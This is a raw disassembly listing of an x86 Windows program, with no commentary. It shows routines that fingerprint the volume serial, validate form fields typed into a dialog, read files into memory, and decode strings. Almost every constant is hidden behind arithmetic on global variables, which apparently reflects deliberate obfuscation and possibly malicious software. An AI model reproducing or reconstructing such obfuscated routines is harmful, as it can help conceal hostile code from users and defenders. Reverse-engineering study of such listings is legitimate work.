var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10Ch
push edi
mov edi, [ebp+arg_0]
push 104h
lea eax, [ebp+var_108]
push eax
call ds:dword_446600 ; GetSystemDirectoryA
mov eax, dword_44A14C
movsx edx, word_44A264
sub edx, 9
mov byte ptr [ebp+eax+var_10C+1], dl
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_10C]
push eax
push 104h
lea eax, [ebp+var_108]
push eax
lea eax, [ebp+var_108]
push eax
call ds:dword_449614 ; GetVolumeInformationA
push offset dword_44AD90
call sub_43C507
push [ebp+var_10C]
push eax
push edi
call ds:dword_449634
add esp, 10h
mov eax, dword_44A1D0
add eax, dword_44A184
sub eax, 9
mov [ebp+var_4], eax
jmp short loc_43F920
; ---------------------------------------------------------------------------
loc_43F8F1: ; CODE XREF: sub_43F85A+D3j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 30h
jl short loc_43F907
cmp al, 39h
jg short loc_43F907
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 31h
loc_43F907: ; CODE XREF: sub_43F85A+9Fj
; sub_43F85A+A3j
mov eax, [ebp+var_4]
mov al, [edi+eax]
cmp al, 41h
jl short loc_43F91D
cmp al, 5Ah
jg short loc_43F91D
mov eax, [ebp+var_4]
add eax, edi
add byte ptr [eax], 20h
loc_43F91D: ; CODE XREF: sub_43F85A+B5j
; sub_43F85A+B9j
inc [ebp+var_4]
loc_43F920: ; CODE XREF: sub_43F85A+95j
movsx eax, word_44A1F0
add eax, 5
cmp [ebp+var_4], eax
jb short loc_43F8F1
pop edi
leave
retn
sub_43F85A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F932 proc near ; CODE XREF: sub_43AE20+3Cp
; sub_43AE20+C4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
movzx ebx, byte ptr [eax]
movsx eax, word_44A0BC
mov edx, dword_44A234
lea eax, [eax+edx+0F3h]
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+1]
add ebx, eax
movsx eax, word_44A218
add eax, 0FBh
imul ebx, eax
mov eax, [ebp+arg_0]
movzx eax, byte ptr [eax+2]
add ebx, eax
mov eax, dword_44A280
movsx edx, word_44A1B4
mov esi, eax
add esi, edx
sub esi, 8
jmp short loc_43F9DD
; ---------------------------------------------------------------------------
loc_43F98C: ; CODE XREF: sub_43F932+B5j
movsx edi, word_44A208
add edi, dword_44A224
sub edi, 7
sub edi, esi
mov edx, [ebp+arg_4]
mov [ebp+var_4], edx
mov edx, ebx
and edx, 8000003Fh
jge short loc_43F9B3
dec edx
or edx, 0FFFFFFC0h
inc edx
loc_43F9B3: ; CODE XREF: sub_43F932+7Aj
mov ecx, off_44A2BC
mov dl, [ecx+edx]
mov ecx, [ebp+var_4]
mov [ecx+edi], dl
mov eax, ebx
mov edi, dword_44A17C
add edi, 34h
mov ecx, edi
add ecx, dword_44A0F4
cdq
idiv ecx
mov ebx, eax
add esi, 1
loc_43F9DD: ; CODE XREF: sub_43F932+58j
movsx eax, word_44A208
dec eax
cmp esi, eax
jl short loc_43F98C
pop edi
pop esi
pop ebx
leave
retn
sub_43F932 endp
; =============== S U B R O U T I N E =======================================
sub_43F9EE proc near ; DATA XREF: .data:0044A364o
mov eax, 80004001h
retn 10h
sub_43F9EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F9F6 proc near ; DATA XREF: sub_43DB8B+F04o
; sub_43DB8B+F54o ...
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_219 = byte ptr -219h
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_10E = byte ptr -10Eh
var_108 = byte ptr -108h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_103 = byte ptr -103h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 230h
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov eax, ebx
cmp eax, 100h
jz short loc_43FA27
jl loc_43FF65
cmp eax, 111h
jz loc_43FAB8
jmp loc_43FF65
; ---------------------------------------------------------------------------
loc_43FA27: ; CODE XREF: sub_43F9F6+19j
cmp [ebp+arg_8], 9
jnz loc_43FF65
mov edi, dword_44A15C
sub edi, 9
jmp short loc_43FAA7
; ---------------------------------------------------------------------------
loc_43FA3C: ; CODE XREF: sub_43F9F6+BBj
mov eax, 30h
mul edi
mov [ebp+var_208], eax
cmp ds:dword_447380[eax], esi
jnz short loc_43FA71
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_447384[eax]
call ds:dword_446A40 ; SetFocus
jmp loc_43FF65
; ---------------------------------------------------------------------------
loc_43FA71: ; CODE XREF: sub_43F9F6+5Aj
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
cmp ds:dword_447384[eax], esi
jnz short loc_43FAA6
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_447388[eax]
call ds:dword_446A40 ; SetFocus
jmp loc_43FF65
; ---------------------------------------------------------------------------
loc_43FAA6: ; CODE XREF: sub_43F9F6+8Fj
inc edi
loc_43FAA7: ; CODE XREF: sub_43F9F6+44j
mov eax, dword_44A258
add eax, 62h
cmp edi, eax
jb short loc_43FA3C
jmp loc_43FF65
; ---------------------------------------------------------------------------
loc_43FAB8: ; CODE XREF: sub_43F9F6+26j
mov eax, dword_44A134
mov edi, eax
add edi, dword_44A224
sub edi, 0Dh
jmp short loc_43FAE4
; ---------------------------------------------------------------------------
loc_43FACA: ; CODE XREF: sub_43F9F6+101j
mov eax, 30h
mul edi
mov [ebp+var_208], eax
mov eax, ds:dword_44738C[eax]
cmp [ebp+arg_C], eax
jz short loc_43FAF9
inc edi
loc_43FAE4: ; CODE XREF: sub_43F9F6+D2j
movsx eax, word_44A264
mov edx, dword_44A288
lea eax, [eax+edx+55h]
cmp edi, eax
jb short loc_43FACA
loc_43FAF9: ; CODE XREF: sub_43F9F6+EBj
mov eax, dword_44A258
add eax, 5Eh
movsx edx, word_44A180
add eax, edx
cmp edi, eax
jz loc_43FF65
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_20C], eax
push ds:dword_447378[eax]
call ds:dword_449BA4 ; GetWindowTextA
movsx eax, word_44A124
mov byte ptr [ebp+eax+var_20C+2], 4Bh
mov eax, dword_44A0F8
mov edx, dword_44A21C
sub edx, 8
mov byte ptr [ebp+eax+var_20C+2], dl
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_444020
add esp, 8
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_210], eax
push ds:dword_447380[eax]
call ds:dword_449BA4 ; GetWindowTextA
mov eax, dword_44A0F8
add eax, dword_44A268
movsx eax, [ebp+eax+var_10E]
cmp eax, dword_44A248
jnz short loc_43FBF9
push offset byte_44AD6D
call sub_43C507
pop ecx
mov edx, dword_44A18C
add edx, dword_44A09C
sub edx, 5
push edx
push 0
push eax
push 0
call ds:dword_449644 ; MessageBoxA
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_447380[eax]
call ds:dword_446A40 ; SetFocus
jmp loc_43FF65
; ---------------------------------------------------------------------------
loc_43FBF9: ; CODE XREF: sub_43F9F6+1BCj
push offset dword_44AD68
call sub_43C507
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_444020
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_444020
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_214], eax
push ds:dword_447384[eax]
call ds:dword_449BA4 ; GetWindowTextA
mov eax, dword_44A1AC
movsx eax, [ebp+eax+var_108]
mov edx, dword_44A184
sub edx, 2
cmp eax, edx
jnz short loc_43FCAD
push offset word_44AD46
call sub_43C507
pop ecx
mov edx, dword_44A19C
add edx, dword_44A25C
sub edx, 0Eh
push edx
push 0
push eax
push 0
call ds:dword_449644 ; MessageBoxA
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_447384[eax]
call ds:dword_446A40 ; SetFocus
jmp loc_43FF65
; ---------------------------------------------------------------------------
loc_43FCAD: ; CODE XREF: sub_43F9F6+270j
push offset byte_44AD41
call sub_43C507
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_444020
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_444020
add esp, 14h
push 0FFh
lea eax, [ebp+var_103]
push eax
mov eax, 30h
mul edi
mov [ebp+var_218], eax
push ds:dword_447388[eax]
call ds:dword_449BA4 ; GetWindowTextA
movsx eax, word_44A098
movsx eax, [ebp+eax+var_105]
mov edx, dword_44A18C
add edx, dword_44A268
sub edx, 4
cmp eax, edx
jz loc_43FE4F
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_43FD31: ; CODE XREF: sub_43F9F6+340j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43FD31
mov ecx, dword_44A120
sub ecx, 1
cmp eax, ecx
jb loc_43FE4F
movsx eax, word_44A150
add eax, dword_44A21C
sub eax, 10h
mov [ebp+var_105], al
jmp short loc_43FD83
; ---------------------------------------------------------------------------
loc_43FD61: ; CODE XREF: sub_43F9F6+3A6j
movzx eax, [ebp+var_105]
mov al, [ebp+eax+var_103]
cmp al, 30h
jl short loc_43FD77
cmp al, 39h
jle short loc_43FD7C
loc_43FD77: ; CODE XREF: sub_43F9F6+37Bj
jmp loc_43FE4F
; ---------------------------------------------------------------------------
loc_43FD7C: ; CODE XREF: sub_43F9F6+37Fj
add [ebp+var_105], 1
loc_43FD83: ; CODE XREF: sub_43F9F6+369j
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_43FD8C: ; CODE XREF: sub_43F9F6+39Bj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43FD8C
movzx ecx, [ebp+var_105]
cmp ecx, eax
jb short loc_43FD61
mov eax, dword_44A280
add eax, dword_44A0D4
sub eax, 0Ah
mov [ebp+var_104], al
jmp short loc_43FE2B
; ---------------------------------------------------------------------------
loc_43FDB4: ; CODE XREF: sub_43F9F6+44Ej
mov al, [ebp+var_104]
mov [ebp+var_219], al
jmp short loc_43FDEB
; ---------------------------------------------------------------------------
loc_43FDC2: ; CODE XREF: sub_43F9F6+40Ej
movzx eax, [ebp+var_219]
movsx eax, [ebp+eax+var_103]
movzx edx, [ebp+var_104]
movsx edx, [ebp+edx+var_103]
cmp eax, edx
jnz short loc_43FE06
add [ebp+var_219], 1
loc_43FDEB: ; CODE XREF: sub_43F9F6+3CAj
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_43FDF4: ; CODE XREF: sub_43F9F6+403j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43FDF4
movzx ecx, [ebp+var_219]
cmp ecx, eax
jb short loc_43FDC2
loc_43FE06: ; CODE XREF: sub_43F9F6+3ECj
movzx eax, [ebp+var_219]
movzx edx, [ebp+var_104]
sub eax, edx
movsx edx, word_44A0BC
sub edx, 6
cmp eax, edx
jg short loc_43FE4F
add [ebp+var_104], 1
loc_43FE2B: ; CODE XREF: sub_43F9F6+3BCj
lea ecx, [ebp+var_103]
or eax, 0FFFFFFFFh
loc_43FE34: ; CODE XREF: sub_43F9F6+443j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43FE34
movzx ecx, [ebp+var_104]
cmp ecx, eax
jb loc_43FDB4
jmp loc_43FEDE
; ---------------------------------------------------------------------------
loc_43FE4F: ; CODE XREF: sub_43F9F6+32Cj
; sub_43F9F6+34Dj ...
mov eax, dword_44A1C4
add eax, 7CBh
push eax
call ds:dword_449630
push offset a5_0 ; "5"
call sub_43C507
mov [ebp-21Ch], eax
push offset byte_44ACF1
call sub_43C507
movsx edx, word_44A174
sub edx, 7
push edx
push eax
mov edx, [ebp-21Ch]
push edx
push 0
call ds:dword_449644 ; MessageBoxA
push offset byte_44ACED
call sub_43C507
add esp, 10h
push eax
mov eax, 30h
mul edi
mov [ebp+var_220], eax
mov edx, eax
push ds:dword_447388[edx]
call ds:dword_449658 ; SetWindowTextA
mov eax, 30h
mul edi
mov [ebp+var_224], eax
push ds:dword_447388[eax]
call ds:dword_446A40 ; SetFocus
jmp loc_43FF65
; ---------------------------------------------------------------------------
loc_43FEDE: ; CODE XREF: sub_43F9F6+454j
push offset dword_44ACE8
call sub_43C507
push eax
lea edx, [ebp+var_204]
push edx
call ds:dword_444020
lea eax, [ebp+var_103]
push eax
lea eax, [ebp+var_204]
push eax
call ds:dword_444020
mov eax, 30h
mul edi
mov [ebp+var_228], eax
push ds:dword_447378[eax]
call ds:dword_447224 ; DestroyWindow
lea eax, [ebp+var_204]
push eax
call ds:dword_44404C
add esp, 18h
push 5
mov eax, 30h
mul edi
mov [ebp+var_22C], eax
push ds:dword_447374[eax]
call ds:dword_44965C ; ShowWindow
mov eax, 30h
mul edi
mov [ebp+var_230], eax
and ds:dword_447370[eax], 0
loc_43FF65: ; CODE XREF: sub_43F9F6+1Bj
; sub_43F9F6+2Cj ...
mov eax, dword_44A0C8
movsx edx, word_44A1B4
mov edi, eax
add edi, edx
sub edi, 4
jmp loc_440051
; ---------------------------------------------------------------------------
loc_43FF7D: ; CODE XREF: sub_43F9F6+667j
mov eax, 30h
mul edi
mov [ebp+var_8], eax
cmp esi, ds:dword_447380[eax]
jnz short loc_43FFB4
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_C], eax
push ds:dword_447390[eax]
call ds:dword_44960C ; CallWindowProcA
jmp loc_440063
; ---------------------------------------------------------------------------
loc_43FFB4: ; CODE XREF: sub_43F9F6+598j
mov eax, 30h
mul edi
mov [ebp+var_10], eax
cmp esi, ds:dword_447384[eax]
jnz short loc_43FFE8
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_14], eax
push ds:dword_447394[eax]
call ds:dword_44960C ; CallWindowProcA
jmp short loc_440063
; ---------------------------------------------------------------------------
loc_43FFE8: ; CODE XREF: sub_43F9F6+5CFj
mov eax, 30h
mul edi
mov [ebp+var_18], eax
cmp esi, ds:dword_447388[eax]
jnz short loc_44001C
push [ebp+arg_C]
loc_43FFFE: ; DATA XREF: .data:off_44B279o
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_1C], eax
push ds:dword_447398[eax]
call ds:dword_44960C ; CallWindowProcA
jmp short loc_440063
; ---------------------------------------------------------------------------
loc_44001C: ; CODE XREF: sub_43F9F6+603j
mov eax, 30h
mul edi
mov [ebp+var_20], eax
cmp esi, ds:dword_44737C[eax]
jnz short loc_440050
push [ebp+arg_C]
push [ebp+arg_8]
push ebx
push esi
mov eax, 30h
mul edi
mov [ebp+var_24], eax
push ds:dword_44739C[eax]
call ds:dword_44960C ; CallWindowProcA
jmp short loc_440063
; ---------------------------------------------------------------------------
loc_440050: ; CODE XREF: sub_43F9F6+637j
inc edi
loc_440051: ; CODE XREF: sub_43F9F6+582j
movsx eax, word_44A0D8
add eax, 62h
cmp edi, eax
jb loc_43FF7D
loc_440063: ; CODE XREF: sub_43F9F6+5B9j
; sub_43F9F6+5F0j ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_43F9F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44006A proc near ; CODE XREF: sub_43A974+247p
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
push 1
push [ebp+arg_4]
call sub_43C5EA
add esp, 8
mov [ebp+var_48], eax
test eax, eax
jnz loc_44028F
mov [ebp+var_18], 8
push offset dword_44ACD8
call sub_43F767
pop ecx
push eax
call ds:dword_444044
mov [ebp+var_10], eax
lea eax, [ebp+var_8]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_4]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
movsx eax, word_44A1A4
sub eax, 7
cmp ebx, eax
jnz loc_440277
lea eax, [ebp+var_3C]
push eax
push offset dword_44BA68
mov eax, [ebp+var_8]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_44A280
add eax, dword_44A20C
sub eax, 0Ah
cmp ebx, eax
jnz loc_44026E
mov [ebp+var_30], 2
mov eax, dword_44A164
sub eax, 4
mov [ebp+var_28], eax
lea eax, [ebp+var_1C]
push eax
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_30]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_3C]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_44A288
add eax, dword_44A184
sub eax, 8
cmp ebx, eax
jnz loc_440265
and [ebp+var_4], 0
lea eax, [ebp+var_4]
push eax
push offset dword_44BA78
mov eax, [ebp+var_1C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_44A160
dec eax
cmp ebx, eax
jnz loc_44025C
inc ds:dword_446620
movsx eax, word_44A104
add eax, 2
cmp ds:dword_446620, eax
jb short loc_4401B7
mov eax, dword_44A0F4
add eax, 3
mov ds:dword_446620, eax
push [ebp+var_4]
call sub_43B523
pop ecx
jmp loc_440253
; ---------------------------------------------------------------------------
loc_4401B7: ; CODE XREF: sub_44006A+130j
mov eax, dword_44A0AC
movsx edx, word_44A0D8
add eax, edx
sub eax, 3
mov [ebp+var_4C], eax
lea eax, [ebp+var_44]
push eax
push ds:dword_448640
call sub_44047F
mov [ebp+var_34], eax
lea eax, [ebp+var_40]
push eax
push ds:dword_444018
call sub_44047F
add esp, 10h
mov [ebp+var_38], eax
cmp [ebp+var_44], 0
jz short loc_440213
cmp [ebp+var_34], 0
jz short loc_440213
lea eax, [ebp+var_4C]
push eax
push [ebp+var_4]
push [ebp+var_44]
push [ebp+var_34]
call sub_43B622
add esp, 10h
loc_440213: ; CODE XREF: sub_44006A+18Cj
; sub_44006A+192j
cmp [ebp+var_40], 0
jz short loc_440234
cmp [ebp+var_38], 0
jz short loc_440234
lea eax, [ebp+var_4C]
push eax
push [ebp+var_4]
push [ebp+var_40]
push [ebp+var_38]
call sub_43B622
add esp, 10h
loc_440234: ; CODE XREF: sub_44006A+1ADj
; sub_44006A+1B3j
push [ebp+var_34]
call ds:dword_44661C ; LocalFree
push [ebp+var_38]
call ds:dword_44661C ; LocalFree
push 0
push [ebp+arg_4]
call sub_43C5EA
add esp, 8
loc_440253: ; CODE XREF: sub_44006A+148j
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_44025C: ; CODE XREF: sub_44006A+114j
mov eax, [ebp+var_1C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_440265: ; CODE XREF: sub_44006A+E8j
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_44026E: ; CODE XREF: sub_44006A+94j
mov eax, [ebp+var_8]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_440277: ; CODE XREF: sub_44006A+66j
lea eax, [ebp+var_18]
push eax
call ds:dword_449BA0
movsx eax, word_44A1E0
sub eax, 3
cmp ebx, eax
jz short $+2
loc_44028F: ; CODE XREF: sub_44006A+1Bj
pop edi
pop esi
pop ebx
leave
retn
sub_44006A endp
; =============== S U B R O U T I N E =======================================
sub_440294 proc near ; DATA XREF: .data:0044A368o
mov eax, 80004001h
retn 18h
sub_440294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44029C proc near ; CODE XREF: sub_43BD90+2CEp
; sub_43D357+263p
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_328 = dword ptr -328h
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_316 = byte ptr -316h
var_212 = byte ptr -212h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 330h
push ebx
push esi
push edi
push [ebp+arg_4]
call ds:dword_449630
pop ecx
push [ebp+arg_0]
lea eax, [ebp+var_316]
push eax
call sub_442F8C
lea ecx, [ebp+var_316]
or eax, 0FFFFFFFFh
loc_4402CA: ; CODE XREF: sub_44029C+33j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4402CA
mov edx, dword_44A1C4
add edx, dword_44A14C
sub edx, 0Ah
mov ebx, eax
sub ebx, edx
mov edx, dword_44A254
sub edx, 9
mov [ebp+ebx+var_316], dl
mov eax, dword_44A268
movsx edx, word_44A0A4
mov edi, eax
add edi, edx
sub edi, 0Ah
loc_440307: ; CODE XREF: sub_44029C+177j
mov eax, edi
movsx ecx, word_44A240
mul ecx
mov [ebp+var_320], eax
movsx eax, [ebp+edi+var_316]
mov edx, [ebp+var_320]
mov [ebp+edx+var_212], al
mov eax, edi
movsx ecx, word_44A1F0
dec ecx
mul ecx
mov [ebp+var_324], eax
mov eax, dword_44A1F4
movsx edx, word_44A0CC
add eax, edx
sub eax, 0Ah
mov edx, [ebp+var_324]
add edx, eax
mov eax, dword_44A21C
sub eax, 8
mov [ebp+edx+var_212], al
movsx eax, [ebp+edi+var_316]
mov edx, dword_44A114
sub edx, 8
cmp eax, edx
jnz loc_440412
mov eax, edi
mov ecx, dword_44A270
sub ecx, 2
mul ecx
mov [ebp+var_328], eax
mov eax, dword_44A0F8
add eax, dword_44A0EC
sub eax, 9
mov edx, [ebp+var_328]
add edx, eax
movsx eax, word_44A16C
add eax, dword_44A164
sub eax, 5
mov [ebp+edx+var_212], al
mov eax, dword_44A14C
mov [ebp+var_32C], eax
mov eax, edi
mov edx, [ebp+var_32C]
mov ecx, edx
add ecx, dword_44A204
sub ecx, 5
mul ecx
mov [ebp+var_330], eax
mov eax, dword_44A14C
sub eax, 3
mov edx, [ebp+var_330]
add edx, eax
movsx eax, word_44A0B0
movsx ecx, word_44A124
add eax, ecx
sub eax, 0Dh
mov [ebp+edx+var_212], al
jmp short loc_440418
; ---------------------------------------------------------------------------
loc_440412: ; CODE XREF: sub_44029C+DEj
inc edi
jmp loc_440307
; ---------------------------------------------------------------------------
loc_440418: ; CODE XREF: sub_44029C+174j
cmp dword_44A2AC, 0
jz short loc_440459
lea eax, [ebp+var_212]
push eax
push 0
call ds:dword_446604
mov esi, eax
or esi, esi
jz short loc_440459
cmp dword_44A2B0, 0
jz short loc_44047A
mov eax, dword_44A13C
sub eax, 2
neg eax
push eax
lea eax, [ebp+var_212]
push eax
push 0
call ds:dword_44401C
loc_440459: ; CODE XREF: sub_44029C+183j
; sub_44029C+198j
push ds:dword_446614
push ds:off_449610
lea eax, [ebp+var_316]
push eax
call sub_440F46
add esp, 0Ch
mov [ebp+var_31C], eax
loc_44047A: ; CODE XREF: sub_44029C+1A1j
pop edi
pop esi
pop ebx
leave
retn
sub_44029C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_44047F proc near ; CODE XREF: sub_43D9B8+18p
; sub_44006A+16Bp ...
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
push 0
push 80h
push 3
push 0
push 3
push 80000000h
push [ebp+arg_0]
call ds:dword_449788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_4404C8
cmp [ebp+arg_4], 0
jz short loc_4404C4
mov eax, [ebp+arg_4]
movsx edx, word_44A0BC
add edx, dword_44A1AC
sub edx, 0Eh
mov [eax], edx
loc_4404C4: ; CODE XREF: sub_44047F+2Ej
xor eax, eax
jmp short loc_44050C
; ---------------------------------------------------------------------------
loc_4404C8: ; CODE XREF: sub_44047F+28j
push 0
push edi
call ds:dword_449624 ; GetFileSize
mov esi, eax
add eax, 10h
push eax
push 40h
call ds:dword_446A34 ; LocalAlloc
mov ebx, eax
push 0
cmp [ebp+arg_4], 0
jz short loc_4404F1
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
jmp short loc_4404F7
; ---------------------------------------------------------------------------
loc_4404F1: ; CODE XREF: sub_44047F+68j
lea eax, [ebp+var_4]
mov [ebp+var_8], eax
loc_4404F7: ; CODE XREF: sub_44047F+70j
push [ebp+var_8]
push esi
push ebx
push edi
call ds:dword_444028 ; ReadFile
push edi
call ds:dword_448654 ; CloseHandle
mov eax, ebx
loc_44050C: ; CODE XREF: sub_44047F+47j
pop edi
pop esi
pop ebx
leave
retn
sub_44047F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_440511 proc near ; CODE XREF: sub_439B7B+1CAp
; sub_43AF47+2D9p ...
var_120A = byte ptr -120Ah
var_110B = byte ptr -110Bh
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 120Ch
call sub_442F6C
push ebx
push esi
push edi
push offset dword_44A8A8
call sub_43C507
push eax
lea edi, [ebp+var_FFF]
push edi
call ds:dword_449634
add esp, 0Ch
mov esi, dword_44A1B8
sub esi, 5
jmp short loc_440561
; ---------------------------------------------------------------------------
loc_440547: ; CODE XREF: sub_440511+56j
cmp [ebp+esi+var_FFF], 23h
jnz short loc_440560
mov eax, dword_44A1F8
sub eax, 3
mov [ebp+esi+var_FFF], al
loc_440560: ; CODE XREF: sub_440511+3Ej
inc esi
loc_440561: ; CODE XREF: sub_440511+34j
cmp esi, 0FFFh
jb short loc_440547
mov eax, dword_44A1B8
sub eax, 5
mov [ebp+var_1004], eax
mov eax, dword_44A0C4
mov ebx, eax
add ebx, dword_44A0C8
sub ebx, 7
cmp [ebp+arg_0], 0
jnz short loc_4405E6
loc_44058D: ; CODE XREF: sub_440511+D3j
mov eax, [ebp+arg_4]
cmp [ebp+var_1004], eax
jnz short loc_4405AF
lea eax, [ebp+ebx+var_FFF]
push eax
push offset dword_449670
call sub_442F8C
jmp loc_440839
; ---------------------------------------------------------------------------
loc_4405AF: ; CODE XREF: sub_440511+85j
lea ecx, [ebp+ebx+var_FFF]
or eax, 0FFFFFFFFh
loc_4405B9: ; CODE XREF: sub_440511+ADj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4405B9
add ebx, eax
add ebx, 1
inc [ebp+var_1004]
movsx eax, [ebp+ebx+var_FFF]
mov edx, dword_44A15C
sub edx, 9
cmp eax, edx
jz loc_440839
jmp short loc_44058D
; ---------------------------------------------------------------------------
loc_4405E6: ; CODE XREF: sub_440511+7Aj
mov eax, dword_44A350
mov [ebp+var_1008], eax
mov eax, dword_44A210
add eax, dword_44A268
sub eax, 5
mov edx, [ebp+arg_0]
mov ecx, dword_44A0D4
sub ecx, 6
mov [edx+eax], cl
mov eax, dword_44A09C
mov ebx, eax
add ebx, dword_44A18C
sub ebx, 5
mov eax, dword_44A1D0
add eax, dword_44A12C
sub eax, 0Fh
mov [ebp+var_1004], eax
loc_440632: ; CODE XREF: sub_440511+300j
push offset byte_44A89D
call sub_43C507
push eax
lea edi, [ebp+var_110B]
push edi
call sub_442F8C
lea eax, [ebp+ebx+var_FFF]
push eax
lea eax, [ebp+var_110B]
push eax
call ds:dword_444020
add esp, 0Ch
call ds:dword_449BAC
mov ecx, 14h
cdq
idiv ecx
mov [ebp+var_100C], edx
mov eax, dword_44A090
add eax, dword_44A220
sub eax, 5
cmp edx, eax
jnb loc_440764
push [ebp+var_1008]
lea eax, [ebp+var_120A]
push eax
call sub_43ABE3
mov eax, dword_44A19C
movsx edx, word_44A230
add eax, edx
sub eax, 0Bh
push eax
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call sub_4384B5
add esp, 14h
mov edi, dword_44A220
add edi, 0FFFBh
cmp eax, edi
jnz short loc_4406F8
lea eax, [ebp+var_110B]
push eax
push [ebp+arg_0]
call ds:dword_444020
push offset dword_44A898
call sub_43C507
push eax
push [ebp+arg_0]
call ds:dword_444020
add esp, 14h
loc_4406F8: ; CODE XREF: sub_440511+1BEj
mov eax, dword_44A0DC
sub eax, 2
push eax
lea eax, [ebp+var_120A]
push eax
push [ebp+arg_0]
call sub_4384B5
add esp, 0Ch
mov edi, dword_44A19C
